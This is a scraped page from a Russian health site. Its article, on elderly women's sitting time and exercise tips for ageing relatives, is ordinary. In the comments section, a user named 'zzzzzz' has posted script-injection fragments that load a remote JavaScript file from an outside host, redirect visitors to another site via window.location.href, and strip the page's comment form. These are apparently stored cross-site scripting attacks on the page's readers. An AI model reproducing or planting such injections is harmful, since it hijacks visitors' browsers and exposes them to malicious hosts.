Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Привычка, которая есть у ...  >>  Привычка, которая есть у каждой женщины, повышает риск умереть!
 
Обратная связь
 

Привычка, которая есть у каждой женщины, повышает риск умереть!

Размер шрифта
21 мая 2014 00:00
Юрий Малышев
Здоровье инфо
Александр Чистяков
Здоровье инфо
  • google_analytics: false
  • Нравится

Ученые подробно рассказали, почему вам стоит чаще проводить время со своей мамой на свежем воздухе.

Привычка, которая есть у каждой женщины, повышает риск умереть!

Среднестатистическая пожилая женщина проводит в положении сидя примерно две трети своего времени бодрствования. К такому выводу пришли ученые из Гарвардской школы общественного здоровья (штат Массачусетс, США). Исследователи отобрали 7 000 женщин в возрасте более семидесяти лет, раздали им акселерометры (приборы индивидуального пользования, которые измеряют физическую активность владельца) и, таким образом, получили вышеупомянутый результат.

Это не первая научная работа в этой сфере. Так, например, в 2012 году было проведено крупное эпидемиологическое исследование: анализ данных касательно восьмисот тысяч взрослых людей показал, что большинство из нас пребывают в интимном контакте с диваном или компьютерным креслом от 50 до 70% дневного времени.

Конечно, все не так однозначно. Скажем, люди, которым приходится заботиться о престарелом родственнике, двигаются намного больше и активнее. Им приходится это делать, ведь пожилой человек с хроническим заболеванием зачастую нуждается в помощи при осуществлении самых простых бытовых действий. Поэтому опекуны таких людей обычно более активны, чем средний человек в популяции.

Чего не скажешь об объектах их заботы. Пожилые люди, часами пребывающие в неподвижности, рискуют столкнуться с опаснейшими последствиями для здоровья.

В целом, можно с уверенностью утверждать, что малоподвижный образ жизни занимает уверенное первое место в списке явлений, которые вас старят. Опасности этого феномена активно обсуждаются в последние годы. Собран колоссальный массив статистических данных, многие цифры более чем красноречивы. Так, например, просмотр телевизора в течение одного лишь часа по статистике снижает продолжительность жизни на 21,8 минут – к такому выводу пришли ученые из университета Квинсленда (Австралия).

В другом исследовании, которое проводилось на базе Лестерского университета (Англия), обнаружилось, что малоподвижный образ жизни повышает риск общей смертности на 49%, риск развития сахарного диабета – на 112%, сердечно-сосудистых нарушений – на 147%.

Как же сохранить жизненную активность?

Очевидный напрашивающийся ответ – заниматься физическими упражнениями. Регулярные занятия спортом вне зависимости от вашего возраста эффективно снижают риски для здоровья.

Для пожилых людей это особенно актуально, потому что в их случае упражнения напрямую влияют на процессы, неизбежно ассоциирующие со старением. И влияние это носит исключительно позитивный характер: укрепляются мышцы и кости, улучшается координация движений, снижается интенсивность суставных болей. Повышение мозгового кровотока, которое имеет место при занятиях спортом, способствует сохранению памяти и когнитивных функций пожилого человека и уменьшает проявление симптомов депрессии. Справедливость всего вышеперечисленного была доказана даже для людей старше 80 и 90 лет.

Впрочем, вполне вероятно, что возникнут обстоятельства, которые могут помешать вам и вашим близким стать чемпионами дворовой спортплощадки.

Деформирующие заболевания суставов, такие как остеоартроз, могут превратить любое физическое упражнение в пытку. Более того: в этом случае возникает реальная опасность для здоровья, поскольку человек может запросто упасть и тяжело травмироваться.

Отсутствие времени у любящего родственника или опекуна – другая значимая проблема. Согласитесь, что если человек работает с утра до вечера, потом делает уроки с детьми и решает домашние дела – на оздоровительные упражнения может не остаться ни сил, ни времени.

Но даже если вы их найдете, есть немаленький шанс, что вы наткнетесь на стену непонимания и вам откажут. Страх, боль и усталость – все это приводит к тому, что пожилой человек отвергает саму идею физической активности, и вам придется проявить недюжинную изобретательность и чудеса дипломатии, чтобы приобщить своего родственника к абсолютно необходимому для него режиму физических нагрузок.

Будьте настойчивы, тем более что речь отнюдь не идет о покорении олимпийских рекордов. Некоторые простейшие советы специалистов выглядят так:

  • Проводите не менее 15 минут в день на солнце и свежем воздухе. При этом обязательно контактируйте с людьми, которые встречаются вам во время прогулки.
  • Велотренажер отлично подходит для коленных суставов, пораженных остеоартрозом. Это упражнение предотвращает появление шаркающей походки, которая может привести к падению.
  • Посещайте продуктовые магазины вместе со своим родственником, и при этом пусть они сами везут тележку.
  • Если у вас есть приусадебный участок, попросите родственника помочь вам – например, полить растения.

Помните: движение – жизнь, а для пожилого человека эта поговорка справедливее в тысячу раз!

Хотите, чтобы ваша мама прожила до ста лет? Тогда вы просто обязаны изучить материалы нашего специального проекта «Женское здоровье».

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - pomk93

06 июня 2014 в 09:50

Комментарий удален за нарушение Правил общения

2 - zzzzzz

30 июня 2015 в 18:39

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

3 - zzzzzz

30 июня 2015 в 22:37

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Как Анджелина Джоли изменила наш мир?   Женщины умирают из-за стульев! Хватит сидеть!   Почему никто не смотрит женский футбол?   Мобильный телефон делает вас толстым  
01 ноября 2013ИНВИТРО – «Марка №1» в России 21 октября 2013ИНВИТРО открыла центр лучевой диагностики «ИНВИТРО.Эксперт»
 
11 октября 2013Елена Малышева расскажет все о том, как правильно худеть 03 октября 2013Результаты благотворительного марафона «Всем миром»
 

Слайдшоу

1
Какие ошибки не дадут вам похудеть в Новом году
Как расслабиться за 15 минут
Что нельзя делать перед сном

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.